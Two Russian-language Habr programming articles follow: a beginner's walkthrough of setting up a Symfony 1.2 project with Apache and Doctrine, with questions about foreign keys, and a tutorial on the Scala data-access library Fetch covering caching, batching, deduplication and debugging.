#### 1 шаг: Установка
[Загружаем](http://www.symfony-project.org/get/symfony-1.2.7.zip) и распаковываем исходник в папку с проектом
> `/home/nutt/workspace/htdocs`
После этого переходим непосредственно в папку и создаем проект. После выполнения команды, symfony создаст все необходимые папки.
> `nutt@nutt:~/workspace/htdocs$ sudo ./data/bin/symfony generate:project test`
Я разрабатываю проект в ubuntu на VirtualBox, поэтому следующий корректив возможно вам не понадобиться. Для того чтобы было видно develop-панель (http://localhost/frontend\_dev.php/) нужно подправить в:
> `~/workspace/htdocs/web/frontend\_dev.php
>
>
>
> if(!in\_array(@$\_SERVER['REMOTE\_ADDR'], array('[ваш IP], '::80')))`
Далее нужно настроить apache (/etc/apache2/sites-enabled/000-default):
> `<VirtualHost [ваш IP]:80>
>
> ServerName nutt.com
>
> DocumentRoot /home/nutt/workspace/htdocs/web
>
>
>
> php\_admin\_value register\_globals Off
>
>
>
> RewriteLog "/var/log/apache2/mod\_rewrite.log"
>
> RewriteLogLevel 2
>
> **Alias /sf /home/nutt/workspace/htdocs/data/web/sf**
>
> <Directory /home/nutt/workspace/htdocs/web>
>
> Options Indexes FollowSymLinks MultiViews ExecCGI
>
> Options All
>
> AllowOverride All
>
> Order allow,deny
>
> Allow from all
>
> Directory>
>
> VirtualHost>`
#### 2 шаг: Doctrine
По-умолчанию в symfony используется Propel. Мне для моего проекта нужно было переключиться на Doctrine (sfDoctrinePlugin). Для этого
нужно отредактировать файл ProjectConfiguration.class.php в ~/workspace/htdocs/config
Было:
> `public function setup()
>
> {
>
> $this->enablePlugins(array('sfDoctrinePlugin'));
>
> $this->disablePlugins(array('sfPropelPlugin'));
>
> }`
Стало:
> `public function setup()
>
> {
>
> $this->enablePlugins(array('sfDoctrinePlugin'));
>
> }`
Удалить из конфига Propel:
> `nutt@nutt:~/workspace/htdocs/config$ sudo rm propel.ini
>
> nutt@nutt:~/workspace/htdocs/config$ sudo rm schema.yml`
Добавить соединение для doctrine:
> `nutt@nutt:~/workspace/htdocs$ sudo ./data/bin/symfony configure:database --name=doctrine --class=sfDoctrineDatabase "mysql:host=localhost;dbname=test" root root`
#### 3 шаг: Создаем таблицы с помощью Doctrine
Отредактируем файл schema.yml в ~/workspace/htdocs/config/doctrine/schema.yml
> `users:
>
> columns:
>
> name: { type: string(255), notnull: true, unique: true }`
Генерируем классы:
> `nutt@nutt:~/workspace/htdocs$ ./data/bin/symfony doctrine:build-model`
Строим запросы SQL:
> `nutt@nutt:~/workspace/htdocs$ ./data/bin/symfony doctrine:build-sql`
Выполняем SQL:
> `nutt@nutt:~/workspace/htdocs$ ./data/bin/symfony doctrine:insert-sql`
#### Вопросы:
1. Имеется таблица с тремя внешними ключами на один ID. В Doctrine я описал их следующим образом:
> `1. relations:
> 2. Tblaccount:
> 3. foreignAlias: tbltransaction
> 4. local: intinaccountid
> 5. foreign: intaccountid
> 6. type: one
> 7. foreignType: many
> 8. Tblaccount:
> 9. foreignAlias: tbltransaction
> 10. local: intoutaccountid
> 11. foreign: intaccountid
> 12. type: one
> 13. foreignType: many
> 14. Tblaccount:
> 15. foreignAlias: tbltransaction
> 16. local: intfeeaccountid
> 17. foreign: intaccountid
> 18. type: one
> 19. foreignType: many`
После doctrine:build-sql в SQL генерируется только последняя связь:
> `1. ALTER TABLE tbltransaction ADD FOREIGN KEY (intfeeaccountid) REFERENCES tblaccount(intaccountid);`
Как сделать чтобы были созданы все внешние ключи?
2. У меня весь проект и сам symfony лежит в одной папке. Правильно ли это? Как вы располагаете проект?
Спасибо.
#### P.S.
Давольно долго [жду последнего голоса](http://habrahabr.ru/blogs/flex/49303/) на получения инвайта для [друга](http://mixey.spb.ru/). Буду благодарен. | https://habr.com/ru/post/50642/ | null | ru | null |
# Fetch — библиотека для доступа к данным
**Fetch** — это библиотека Scala для организации доступа к данным из файловых систем, БД, веб-сервисов и любых других источников, данные из которых можно получить по уникальному идентификатору. Библиотека написана в функциональном стиле и основана на Cats и Cats Effect. Предназначена для композиции и оптимизации выполнения запросов к разным источникам данных. Она позволяет:
* запрашивать данные из нескольких источников параллельно;
* запрашивать данные из одного источника параллельно;
* объединять запросы к одному источнику в один запрос;
* производить дедупликацию запросов в каждой из перечисленных ситуаций;
* кэшировать результаты запросов.
Для этого в библиотеке предоставляются средства, которые позволяют писать чистый бизнес-код без низкоуровневых конструкций для осуществления перечисленных оптимизаций.
В примерах используется последняя на момент написания версия Fetch — 1.3.0.
Источник данных в Fetch
-----------------------
Для реализации доступа к какому-либо источнику через Fetch требуется имплементировать:
* описание источника данных (трейт `Data[I, A]`);
* методы получения данных из источника (трейт `DataSource[F[_], I, A]`).
`DataSource[F[_], I, A]` (где `I` — тип идентификатора, по которому требуется что-то получить: например, путь к файлу или ID в базе данных; `A` — тип результата, а `F` — тип эффекта) содержит эффективные методы для извлечения из него данных:
```
/**
* A `DataSource` is the recipe for fetching a certain identity `I`, which yields
* results of type `A` performing an effect of type `F[_]`.
*/
trait DataSource[F[_], I, A] {
def data: Data[I, A]
implicit def CF: Concurrent[F]
/** Fetch one identity, returning a None if it wasn't found.
*/
def fetch(id: I): F[Option[A]]
/** Fetch many identities, returning a mapping from identities to results. If an
* identity wasn't found, it won't appear in the keys.
*/
def batch(ids: NonEmptyList[I]): F[Map[I, A]] =
FetchExecution.parallel(
ids.map(id => fetch(id).tupleLeft(id))
).map(_.collect { case (id, Some(x)) => id -> x }.toMap)
def maxBatchSize: Option[Int] = None
def batchExecution: BatchExecution = InParallel
}
```
`data: Data[I, A]` — содержит ссылку на экземпляр `Data[I,A]`, который является описанием источника. `CF` — это «доказательство» того, что выбранный эффект — экземпляр `Concurrent`. Метод `fetch` — это метод получения самих данных по ID. `batch` — это тоже метод получения данных, но он предназначен для одновременного получения нескольких ID из источника. Изначально он описан в терминах `fetch` и не требует имплементации — просто запускает всю пачку ID параллельно. Иногда его полезно переопределить: многие источники данных позволяют получить больше одного элемента за раз, например, реляционные базы данных.
Простейший пример оборачивания списка в термины Fetch:
```
class ListData(val list: List[String]) extends Data[Int, String] {
override def name: String = "My List of Data"
}
class ListDataSource(list: ListData)(implicit cs: ContextShift[IO])
extends DataSource[IO, Int, String]
with LazyLogging {
override def data: ListData = list
/*implicit дает Stack overflow, видимо он начинает крутить сам себя */
override def CF: Concurrent[IO] = Concurrent[IO]
override def fetch(id: Int): IO[Option[String]] =
CF.delay {
logger.info(s"Processing element from index $id")
data.list.lift(id)
}
}
```
Обычно эти структуры совмещают: экземпляр `DataSource` вкладывают в класс-наследник `Data`. Это позволяет немного сжать код и хранить всё в одном месте:
```
class ListSource(list: List[String])(implicit cf: ContextShift[IO]) extends Data[Int, String] with LazyLogging {
override def name: String = "My List of Data"
private def instance: ListSource = this
def source = new DataSource[IO, Int, String] {
override def data: Data[Int, String] = instance
override def CF: Concurrent[IO] = Concurrent[IO]
override def fetch(id: Int): IO[Option[String]] =
CF.delay {
logger.info(s"Processing element from index $id")
list.lift(id)
}
}
}
```
Внутрь метода `fetch` помещён логгер. В будущем он поможет отслеживать вызовы этой функции. В Fetch присутствуют свои инструменты для отладки, но о них речь пойдёт в последней части статьи.
Сами по себе методы `DataSource` нельзя использовать напрямую. Нужно передавать их в специальные объекты `Fetch`. Эти объекты — что-то вроде "чертежей" для получения данных. Они содержат в себе идентификатор данных и источник. Затем их нужно передавать в методы объекта `Fetch` вроде `Fetch.run` (помимо run есть ещё несколько специальных методов, возвращающих дополнительные данные). Эти объекты создают из источника и ID эффект с ответом. В целом, это может быть любой эффект `F`, для которого есть экземпляр `Concurrent[F]`. Эта манипуляция выглядит следующим образом:
```
val list = List("a", "b", "c")
val data: ListSource = new ListSource(list)
val source: DataSource[IO, Int, String] = data.source
val fetchDataPlan: Fetch[IO, String] = Fetch(1, source)
val fetchData: IO[String] = Fetch.run(fetchDataPlan)
val dataCalculated: String = fetchData.unsafeRunSync // b
```
Оборачивание в специальный объект, хранящий ID и источник, позволяет выполнять библиотеке описанные выше оптимизации.
Полный пример:
```
object Example extends App {
implicit val ec: ExecutionContext = global
implicit val cs: ContextShift[IO] = IO.contextShift(ec) // для Fetch.run и ListDataSource
implicit val timer: Timer[IO] = IO.timer(ec) // для Fetch.run
val list = List("a", "b", "c")
val data = new ListSource(list)
val source = data.source
Fetch.run(Fetch(0, source)).unsafeRunSync
// INFO ListDataSource - Processing element from index 0
Fetch.run(Fetch(1, source)).unsafeRunSync
// INFO ListDataSource - Processing element from index 1
Fetch.run(Fetch(2, source)).unsafeRunSync
// INFO ListDataSource - Processing element from index 2
Fetch.run(Fetch(3, source)).unsafeRunSync
// INFO ListDataSource - Processing element from index 3
// Exception in thread "main" fetch.package$MissingIdentity
}
```
Последний вызов выбросил исключение, хотя `data.list.lift(id)` в методе `fetch` успешно защищает от несуществующих индексов. Исключение бросается в ситуациях, когда `fetch` возвращает `None`. Это связано с тем, что источник не может возвращать `Option` или содержать Option в качестве одного из типов: `DataSource[F[_], I, A]`. Но запросить Option можно явно, создав объект `Fetch` не через метод `apply`, а через `optional`:
```
Fetch.run(Fetch.optional(3, source)).unsafeRunSync // None
```
Разницу можно понять, просто взглянув на типы:
```
val fApply: Fetch[IO, String] = Fetch(3, source)
val fOptional: Fetch[IO, Option[String]] = Fetch.optional(3, source)
```
Иногда внутрь классов-наследников `Data` помещают специальный метод, избавляющий от необходимости вручную составлять объект `Fetch`. Он может быть, как обычным, так и `optional`:
```
def fetchElem(id: Int) = Fetch.optional(id, source)
```
Теперь возможно переписать используемые методы на заранее подготовленный `fetchElem` в классе `ListSource`:
```
Fetch.run(data.fetchElem(0)).unsafeRunSync // INFO app.ListDataSource - Processing element from index 0
Fetch.run(data.fetchElem(1)).unsafeRunSync // INFO app.ListDataSource - Processing element from index 1
Fetch.run(data.fetchElem(2)).unsafeRunSync // INFO app.ListDataSource - Processing element from index 2
println(Fetch.run(data.fetchElem(2)).unsafeRunSync) // Some(c)
println(Fetch.run(data.fetchElem(3)).unsafeRunSync) // None
```
Кэширование
-----------
Fetch не кэширует результаты «из коробки»:
```
def fetch(id: Int): Option[String] = {
val run = Fetch.run(data.fetchElem(id))
run.unsafeRunSync
}
fetch(1) // INFO app.ListDataSource - Processing element from index 1
fetch(1) // INFO app.ListDataSource - Processing element from index 1
fetch(1) // INFO app.ListDataSource - Processing element from index 1
```
Для кэширования в Fetch существует специальный трейт `DataCache[F[_]]`. Сама библиотека предоставляет одну готовую имплементацию — неизменяемый кэш `InMemoryCache[F[_]: Monad](state: Map[(Data[Any, Any], DataSourceId), DataSourceResult])`. Им можно воспользоваться через методы его объекта-компаньона `from` — создать кэш из готовой коллекции; и `empty` — создать пустой кэш:
```
def from[F[_]: Monad, I, A](results: ((Data[I, A], I), A)*): InMemoryCache[F]
def empty[F[_]: Monad]: InMemoryCache[F]
```
В обоих случаях в методах происходят преобразования, приводящие к тому, что кэш хранится в структуре данных типа `Map[(Data[Any, Any], DataSourceId), DataSourceResult]`. Дополнительные типы в этом сопоставлении:
```
final class DataSourceId(val id: Any) extends AnyVal
final class DataSourceResult(val result: Any) extends AnyVal
```
Получается, что ключ этого сопоставления — кортеж `(Data[Any, Any], DataSourceId)`. Он содержит источник данных любого типа и ID любого типа. Значение сопоставления — `DataSourceResult`. Он содержит результат любого типа. Исходя из этого понятно, что в один кэш можно складывать результаты работы Fetch с самыми различными источниками данных. Ещё из этого следует, что конкретные типы при записи в кэш стираются — все данные имеют тип `Any` при хранении. Но они не остаются такими при извлечении. В случае с `InMemoryCache` извлечение из кэша происходит следующим образом:
```
def lookup[I, A](i: I, data: Data[I, A]): F[Option[A]] =
Applicative[F].pure(
state
.get((data.asInstanceOf[Data[Any, Any]], new DataSourceId(i)))
.map(_.result.asInstanceOf[A])
)
```
Тут важно, что `Data` — часть ключа. Именно из переданного экземпляра `Data` берётся тип `A`, к которому методом `asInstanceOf[A]` приводится хранимый в кэше тип `Any` при запросе. Вставка в этот кэш работает на основе обычного метода Map `updated`, который возвращает новую коллекцию при изменении.
Наверное, никому особо не будет дела до кэша в коллекции, которая является обычным типом Map Scala — её можно и руками написать. Но используемые в ней приёмы пригодятся для подключения какой-нибудь специальной библиотеки для кэширования.
Пример использования созданного кэша методом `from`:
```
val cacheF: DataCache[IO] = InMemoryCache.from((data, 1) -> "b", (data, 2) -> "c")
Fetch.run(data.fetchElem(1), cacheF).unsafeRunSync // взялось из кэша
Fetch.run(data.fetchElem(1), cacheF).unsafeRunSync // прочитано из кэша
Fetch.run(data.fetchElem(1), cacheF).unsafeRunSync
Fetch.run(data.fetchElem(1), cacheF).unsafeRunSync
Fetch.run(data.fetchElem(0), cacheF).unsafeRunSync
Fetch.run(data.fetchElem(0), cacheF).unsafeRunSync
// INFO app.ListDataSource - Processing element from index 0
// INFO app.ListDataSource - Processing element from index 0
```
Видно, что кэширование работает, хотя кэш и не пополняется новыми элементами. Уже ясно, что это происходит из-за устройства кэша — неизменяемая коллекция Map возвращает новую коллекцию при любом изменении. Это означает, что кэшем нужно управлять вручную. Для работы с этим поведением существует метод `Fetch.runCache`, который возвращает кортеж типа `(обновленный кэш, результат)`:
```
var cache: DataCache[IO] = InMemoryCache.empty
def cachedRun(id: Int): Option[String] = {
val (c, r) = Fetch.runCache(Fetch.optional(id, source), cache).unsafeRunSync
cache = c // Пример ручного управления кэшем
r
}
cachedRun(1)
cachedRun(1)
cachedRun(2)
cachedRun(2)
cachedRun(4)
cachedRun(4)
// INFO app.ListDataSource - Processing element from index 1
// INFO app.ListDataSource - Processing element from index 2
// INFO app.ListDataSource - Processing element from index 4
// INFO app.ListDataSource - Processing element from index 4
```
Видно, что неудачные результаты не кэшируются. При этом сам кэш не имеет явного типа — один кэш можно использовать для многих источников.
### Пример: использование Caffeine для кэширования
Для подключения собственной библиотеки кэширования нужно лишь имплементировать трейт `DataCache`. Полученный класс позволит использовать библиотеку в любых вызовах Fetch. Следующим образом можно реализовать `DataCache` для известной Java-библиотеки Caffeine, а точнее — для её обёртки на Scala Scaffeine:
```
class ScaffeineCache extends DataCache[IO] with LazyLogging {
private val cache =
Scaffeine()
.recordStats()
.expireAfterWrite(1.hour)
.maximumSize(500)
.build[(Data[Any, Any], Any), Any]()
override def lookup[I, A](i: I, data: Data[I, A]): IO[Option[A]] = IO {
cache
.getIfPresent(data.asInstanceOf[Data[Any, Any]] -> i)
.map { any =>
val correct = any.asInstanceOf[A]
logger.info(s"From cache: $i")
correct
}
}
override def insert[I, A](i: I, v: A, data: Data[I, A]): IO[DataCache[IO]] = {
cache.put(data.asInstanceOf[Data[Any, Any]] -> i, v) // Unit
IO(this)
}
}
```
Здесь используются всё те же приёмы, что и в `InMemoryCache`. Так как Scaffeine работает с типизированными кэшами — кэш создаётся с типами `Any`: `build[(Data[Any, Any], Any), Any]()`. Затем запись и получение данных из него производится с использованием `asInstanceOf`:
```
val list = List("a", "b", "c")
val listSource = new ListSource(list)
val source = listSource.source
val randomSource = new RandomSource()
val cache = new ScaffeineCache()
/** Без кэширования */
Fetch.run(Fetch(1, source)).unsafeRunSync // Processing element from index 1
Fetch.run(Fetch(1, source)).unsafeRunSync // Processing element from index 1
println()
/** С кэшированием */
Fetch.run(Fetch(1, source), cache).unsafeRunSync // Processing element from index 1
Fetch.run(Fetch(1, source), cache).unsafeRunSync // From cache: 1
Fetch.run(Fetch("a", source), cache).unsafeRunSync // type mismatch
/** Один кэш подходит разным источникам */
Fetch.run(randomSource.fetchInt(2), cache).unsafeRunSync // Getting next random by max 2
Fetch.run(randomSource.fetchInt(2), cache).unsafeRunSync // From cache: 2
```
Можно заметить несколько вещей:
* при попытке использовать кэш с неправильным типом ID (чтобы попытаться нарушить работу asInstanceOf) произойдёт type mismatch по причине создания объекта Fetch с ID и Source, не подходящими друг другу по типам;
* один и тот же кэш действительно можно использовать для разных источников;
* благодаря внутреннему устройству Caffeine, нам не нужно вручную управлять изменениями кэша — мы просто передаём одну и ту же ссылку в каждый вызов. Несмотря на это, трейт DataCache всё равно требует возвращать ссылку на кэш в методе insert.
Комбинаторы
-----------
В Fetch возможно использовать различные комбинаторы из Scala и Cats. Смысл этих комбинаторов — преобразовать тип `List[Fetch[_,_]]` в `Fetch[_, List[_]]`, который затем передаётся в `Fetch.run`. Это необходимо для осуществления всех видов оптимизаций Fetch: объединения запросов, комбинирования, дедупликации, запусках в параллели. Оптимизации Fetch распространяются только на то, что передано внутри объекта `Fetch` в текущем `Fetch.run` Единственное исключение — кэширование, которое работает между запросами.
Важно правильно использовать комбинаторы. Например:
```
val t1: IO[(String, String)] = for {
a <- Fetch.run(Fetch(1, source))
b <- Fetch.run(Fetch(1, source))
} yield (a, b)
```
В этом примере for использован неверно: мы не получили `Fetch[_, List[_]]` или подобный тип, все объекты `Fetch` были переданы в `run` отдельно, поэтому и выполнены будут отдельно. Правильно будет использовать for следующим образом:
```
val f1: Fetch[IO, (String, String)] = for {
a <- Fetch(1, source)
b <- Fetch(1, source)
} yield (a,b)
val t2: IO[(String, String)] = Fetch.run(f1)
```
Теперь мы получили Fetch от кортежа. Это значит, что при передаче в `Fetch.run` произойдут оптимизации:
* дедупликация;
* объединение — если в кортеже есть запросы к одинаковому источнику;
* комбинирование — если в кортеже есть запросы к разным источникам.
В зависимости от настроек `DataSource` и имплементации метода `batch` объединение может происходить в параллели.
Того же эффекта позволяют добиться методы из Cats. Если описывать просто, метод sequence создаёт из коллекции `List[F[_]]` коллекцию `F[List[_]]`. Метод traverse делает почти то же самое: из коллекции List[*] делает `F[List[*]]`. Наконец, tupled делает из кортежа эффектов один эффект со значением кортежа:
```
val f3: List[Fetch[IO, String]] = List(
Fetch(1, source),
Fetch(2, source),
Fetch(2, source)
)
val f31: Fetch[IO, List[String]] = f3.sequence
val t3: IO[List[String]] = Fetch.run(f31)
val f4: List[Int] = List(
1,
2,
2
)
val f41: Fetch[IO, List[String]] = f4.traverse(Fetch(_, source))
val t4: IO[List[String]] = Fetch.run(f41)
val f5: (Fetch[IO, String], Fetch[IO, String]) = (Fetch(1, source), Fetch(2, source))
val f51: Fetch[IO, (String, String)] = f5.tupled
val t5: IO[(String, String)] = Fetch.run(f51)
val f6: (Int, Int) = (1, 2)
val f61: Fetch[IO, (Int, String)] = f6.traverse(Fetch(_, source))
```
Не стоит забывать и о `flatMap`:
```
val f0: Fetch[IO, String] = Fetch(1, source).flatMap(_ => Fetch(1, source))
val t0: IO[String] = Fetch.run(f0)
```
Как видно из типов, совершенно неважно, каким методом был получен `Fetch` от нескольких запросов. Возможно использовать любые подходящие комбинаторы Cats. Комбинирование объектов Fetch — главный приём для работы с библиотекой, ведь без него никакие оптимизации работать не будут. Кроме того, именно от выбранного метода комбинирования зависит, будут ли запросы выполнены последовательно или параллельно.
Объединение запросов (Batching)
-------------------------------
Fetch может объединять запросы к одному источнику в один запрос. Например:
```
import fetch.fetchM // инстансы Fetch для синтаксиса Cats
val tuple: Fetch[IO, (Option[String], Option[String])] = (data.fetchElem(0), data.fetchElem(1)).tupled
Fetch.run(tuple).unsafeRunSync() // (Some(a),Some(b))
```
По умолчанию метод `batch` в `DataSource` описан в терминах `fetch` и запрашивает идентификаторы у источника в параллели. Его можно переопределить. Например, для реляционной базы данных там может быть SQL-запрос для получения сразу множества ключей.
Поместим логгер в `batch` в источнике в `ListSource`:
```
override def batch(ids: NonEmptyList[Int]): IO[Map[Int, String]] = {
logger.info(s"IDs fetching in batch: $ids")
super.batch(ids)
}
```
Выполняем пакетный запрос через уже известный `traverse`:
```
import fetch.fetchM
def findMany: Fetch[IO, List[Option[String]]] =
List(0, 1, 2, 3, 4, 5).traverse(data.fetchElem)
Fetch.run(findMany).unsafeRunSync
// INFO app.ListSource - IDs fetching in batch: NonEmptyList(0, 5, 1, 2, 3, 4)
```
Можно ограничить размер, переопределив метод `maxBatchSize`:
```
override def maxBatchSize: Option[Int] = 2.some // defaults to None
// INFO app.ListSource - IDs fetching in batch: NonEmptyList(0, 5)
// INFO app.ListSource - IDs fetching in batch: NonEmptyList(1, 2)
// INFO app.ListSource - IDs fetching in batch: NonEmptyList(3, 4)
```
По умолчанию такие запросы выполняются параллельно, но их можно выполнять и последовательно. Для этого нужно переопределить метод `batchExecution`:
```
override def batchExecution: BatchExecution = Sequentially // defaults to `InParallel`
```
Комбинирование данных из разных источников
------------------------------------------
Комбинирование данных из разных источников осуществляется во время вызова данных из разных источников в одном `Fetch.run`. В целом, этот механизм идентичен объединенным запросам к одному источнику, просто внутри объектов Fetch источники будут указаны разные.
Предположим, у нас есть дополнительный источник, который выдает случайные целочисленные до какой-то границы. Он будет возвращать случайные числа на один и тот же ID, что делает идентификатор бесполезным. Поэтому называть его источником в терминах Fetch нельзя, но для примера возьмем его:
```
class RandomSource(implicit cf: ContextShift[IO]) extends Data[Int, Int] with LazyLogging {
override def name: String = "Random numbers generator"
private def instance: RandomSource = this
def source: DataSource[IO, Int, Int] = new DataSource[IO, Int, Int] {
override def data: Data[Int, Int] = instance
override def CF: Concurrent[IO] = Concurrent[IO]
override def fetch(max: Int): IO[Option[Int]] =
CF.delay {
logger.info(s"Getting next random by max $max")
scala.util.Random.nextInt(max).some
}
}
}
```
Мы можем запросить эти данные в одном Fetch вместе с запросом из `listSource`:
```
val listSource = new ListSource(List("a", "b", "c"))
val randomSource = new RandomSource()
def fetchMulti: Fetch[IO, (Int, String)] =
for {
rnd <- Fetch(3, randomSource.source) // Fetch[IO, Int]
char <- Fetch(rnd, listSource.source) // Fetch[IO, String]
} yield (rnd, char)
println(Fetch.run(fetchMulti).unsafeRunSync) // например, (0,a)
```
Таким образом, можно получить унифицированные интерфейсы доступа к различным источникам данных. Независимо от низкоуровневой реализации: база данных, файловая система, веб-ресурс, внешне источники данных одинаковы. Данные из них можно запрашивать вместе в одном контексте без совершения каких-либо дополнительных преобразований.
Параллельное и последовательное выполнение
------------------------------------------
В целом, возможность параллельного запуска зависит от использованного комбинатора. Например, `for` и `flatMap` предполагают только последовательный запуск, так как мы можем передавать переменные в следующие этапы вычисления. `sequence` и `traverse` позволяют выполнять запросы к одному источнику параллельно и объединённо. С другой стороны, если у двух разных источников одинаковые типы, то `sequence` и `traverse` можно использовать для параллельного чтения из них. Но лучше в этой ситуации подходит метод `tupled`, который позволяет делать параллельные запросы к разным источникам с разными типами. Оценить получившуюся последовательность запуска помогут методы дебага, описанные ниже.
Дедупликация запросов
---------------------
В обоих описанных случаях, при комбинировании и при объединении, всегда происходит дедупликация запросов. Это похоже на кэширование — один и тот же ID у одного источника запрашивается только единожды, но происходит только в пределах одного запроса. Кэширование же позволяет накапливать и передавать историю результатов между запросами.
Дедупликация в объединенных запросах:
```
val list = List("a", "b", "c", "d", "e", "f", "g", "h", "i")
val data = new ListSource(list, 2.some)
val tupleD: Fetch[IO, (Option[String], Option[String])] = (data.fetchElem(0), data.fetchElem(0)).tupled
Fetch.run(tupleD).unsafeRunSync()
//INFO app.sources.ListSource - Processing element from index 0
//(Some(a),Some(a))
```
Дедупликация в комбинированных:
```
def fetchMultiD: Fetch[IO, (Int, String, Int, String)] =
for {
rnd1 <- Fetch(3, randomSource.source) // Fetch[IO, Int]
char1 <- Fetch(rnd1, listSource.source) // Fetch[IO, String]
rnd2 <- Fetch(3, randomSource.source) // Fetch[IO, Int]
char2 <- Fetch(rnd2, listSource.source) // Fetch[IO, String]
} yield (rnd1, char1, rnd2, char2)
println(Fetch.run(fetchMultiD).unsafeRunSync)
//18:43:11.875 [scala-execution-context-global-14] INFO app.sources.RandomSource - Getting next random by max 3
//18:43:11.876 [scala-execution-context-global-13] INFO app.sources.ListSource - Processing element from index 1
//(1,b,1,b)
```
Обработка исключений
--------------------
В Fetch предоставлены инструменты для работы с исключениями:
* общий трейт `FetchException`;
* специальное исключение `MissingIdentity` для несуществующих в источнике ID;
* общее исключение `UnhandledException` для любых остальных исключений.
Мы уже запускали Fetch с результатом `Option`, но есть более безопасная альтернатива, возвращающая `Either`:
```
// val i: String = Fetch.run(Fetch(5, data.source)).unsafeRunSync // Exception in thread "main" fetch.package$MissingIdentity
val i: Either[Throwable, String] = Fetch.run(Fetch(5, data.source)).attempt.unsafeRunSync // Left(fetch.package$MissingIdentity)
```
Дебаг Fetch
-----------
Fetch предоставляет средства дебага в виде метода `Fetch.runLog`, возвращающего объект `FetchLog` с историей работы. В отдельной библиотеке `fetch-debug` предоставлен метод `describe`, который красиво обрабатывает `Throwable` и `Log`.
Пример вывода описания `throwable`:
```
// libraryDependencies += "com.47deg" %% "fetch-debug" % "1.3.0"
import fetch.debug.describe
val t: Either[Throwable, (Log, String)] = Fetch.runLog(Fetch(5, data.source)).attempt.unsafeRunSync
println(t.fold(describe, identity))
// [ERROR] Identity with id `5` for data source `My List of Data` not found, fetch interrupted after 1 rounds
// Fetch execution 0.00 seconds
//
// [Round 1] 0.00 seconds
// [Fetch one] From `My List of Data` with id 5 0.00 seconds
```
Напишем сложный запрос со всеми изученными функциями Fetch `(>>` в Cats это альяс для `flatMap(_ => ...))`:
```
object DebugExample extends App with ContextEntities {
val list = List("a", "b", "c", "d", "e", "f", "g", "h")
val listData = new ListSource(list)
val listSource: DataSource[IO, Int, String] = listData.source
val randomSource = new RandomSource().source
val cacheF: DataCache[IO] = InMemoryCache.from((listData, 1) -> "b")
// нет среди раундов вообще
val cached = Fetch(1, listSource)
// только #1, больше не повторяется
val notCached = Fetch(2, listSource)
// #2
val random = Fetch(10, randomSource)
// #3
val batched: Fetch[IO, (String, String)] = (Fetch(3, listSource), Fetch(4, listSource)).tupled
// #4
val combined = (Fetch(5, listSource), Fetch(150, randomSource)).tupled
/** End of fetches */
val complicatedFetch: Fetch[IO, (String, Int)] = cached >> notCached >> random >> notCached >> batched >> combined
val result: IO[(Log, (String, Int))] = Fetch.runLog(complicatedFetch, cacheF)
val tuple: (Log, (String, Int)) = result.unsafeRunSync()
println(tuple._2) // (f,17)
println(describe(tuple._1))
println(tuple._1)
//Fetch execution 0.11 seconds
//
// [Round 1] 0.06 seconds
// [Fetch one] From `My List of Data` with id 2 0.06 seconds
// [Round 2] 0.00 seconds
// [Fetch one] From `Random numbers generator` with id 10 0.00 seconds
// [Round 3] 0.01 seconds
// [Batch] From `My List of Data` with ids List(3, 4) 0.01 seconds
// [Round 4] 0.00 seconds
// [Fetch one] From `Random numbers generator` with id 150 0.00 seconds
// [Fetch one] From `My List of Data` with id 5 0.00 seconds
// raw:
// FetchLog(Queue(Round(List(Request(FetchOne(2,app.sources.ListSource@ea6147e),10767139,10767203))), Round(List(Request(FetchOne(10,app.sources.RandomSource@58b31054),10767211,10767213))), Round(List(Request(Batch(NonEmptyList(3, 4),app.sources.ListSource@ea6147e),10767234,10767242))), Round(List(Request(FetchOne(150,app.sources.RandomSource@58b31054),10767252,10767252), Request(FetchOne(5,app.sources.ListSource@ea6147e),10767252,10767252)))))
}
```
Можно сделать несколько наблюдений:
* cached вообще не появляется в логах, ведь он не считается никогда;
* notCached посчитался лишь раз. Cработала оптимизация и повторный запрос дедуплицировался;
* batch явно прописывается как запрос пакетом;
* комбинированный запрос к нескольким источникам выглядит в логах как один раунд с несколькими запросами.
Действия в пределах одного раунда происходят параллельно. Сами по себе раунды разделены методом `>>,` который предполагает только последовательный запуск. А вот в раундах 3 и 4 использован метод `tupled`, который и позволяет запускать запросы параллельно. В первом случае — это запрос к одному источнику, который был объединён. Во втором случае — этот запрос был к разным источникам, поэтому он был запущен параллельно.
Пример: запрос данных из реальных источников
--------------------------------------------
Часто бывают ситуации, когда нужно предоставить пользователю выдачу на основании нескольких источников, данные из которых должны быть скомбинированы. Например, поисковая выдача по документам может для одного запроса обратиться к нескольким сервисам:
* полнотекстовый поиск для получения ID документов по какому-то поисковому запросу;
* сервис информации о документе;
* сервис получения имени автора документа из его ID;
* сервис похожих документов.
Тогда сервис поиска документов может быть построен следующим образом (полный пример):
```
/*Model*/
type DocumentId = String
type PersonId = String
case class FtsResponse(ids: List[DocumentId])
case class SimilarityItem(id: DocumentId, similarity: Double)
case class DocumentInfo(id: DocumentId, info: String, authors: List[PersonId])
case class Person(id: PersonId, fullTitle: String)
/*Response*/
case class DocumentSearchResponse(
items: List[DocumentSearchItem]
)
case class DocumentItem(id: DocumentId, info: Option[String], authors: List[Person])
case class DocumentSimilarItem(
item: DocumentItem,
similarity: Double
)
case class DocumentSearchItem(
item: DocumentItem,
similar: List[DocumentSimilarItem]
)
class DocumentSearchExample(
fts: Fts[IO],
documentInfoRepo: DocumentInfoRepo[IO],
vectorSearch: VectorSearch[IO],
personRepo: PersonRepo[IO]
)(
implicit cs: ContextShift[IO]
) {
val infoSource = new DocumentInfoSource(documentInfoRepo, 16.some)
val personSource = new PersonSource(personRepo, 16.some)
val similarSource = new SimilarDocumentSource(vectorSearch, 16.some)
def documentItemFetch(id: DocumentId): Fetch[IO, DocumentItem] =
for {
infoOpt <- infoSource.fetchElem(id)
p <- infoOpt.traverse(i => i.authors.traverse(personSource.fetchElem).map(_.flatten))
} yield DocumentItem(id, infoOpt.map(_.info), p.getOrElse(List.empty[Person]))
def fetchSimilarItems(id: DocumentId): Fetch[IO, List[DocumentSimilarItem]] =
similarSource
.fetchElem(id)
.map(_.getOrElse(List.empty[SimilarityItem]))
.flatMap {
_.traverse { si =>
documentItemFetch(si.id).map { di =>
DocumentSimilarItem(di, si.similarity)
}
}
}
def searchDocumentFetch(query: String): Fetch[IO, DocumentSearchResponse] =
for {
docs <- Fetch.liftF(fts.search(query))
items <- docs.ids.traverse { id =>
(documentItemFetch(id), fetchSimilarItems(id)).tupled.map(r => DocumentSearchItem(r._1, r._2))
}
} yield DocumentSearchResponse(items)
}
```
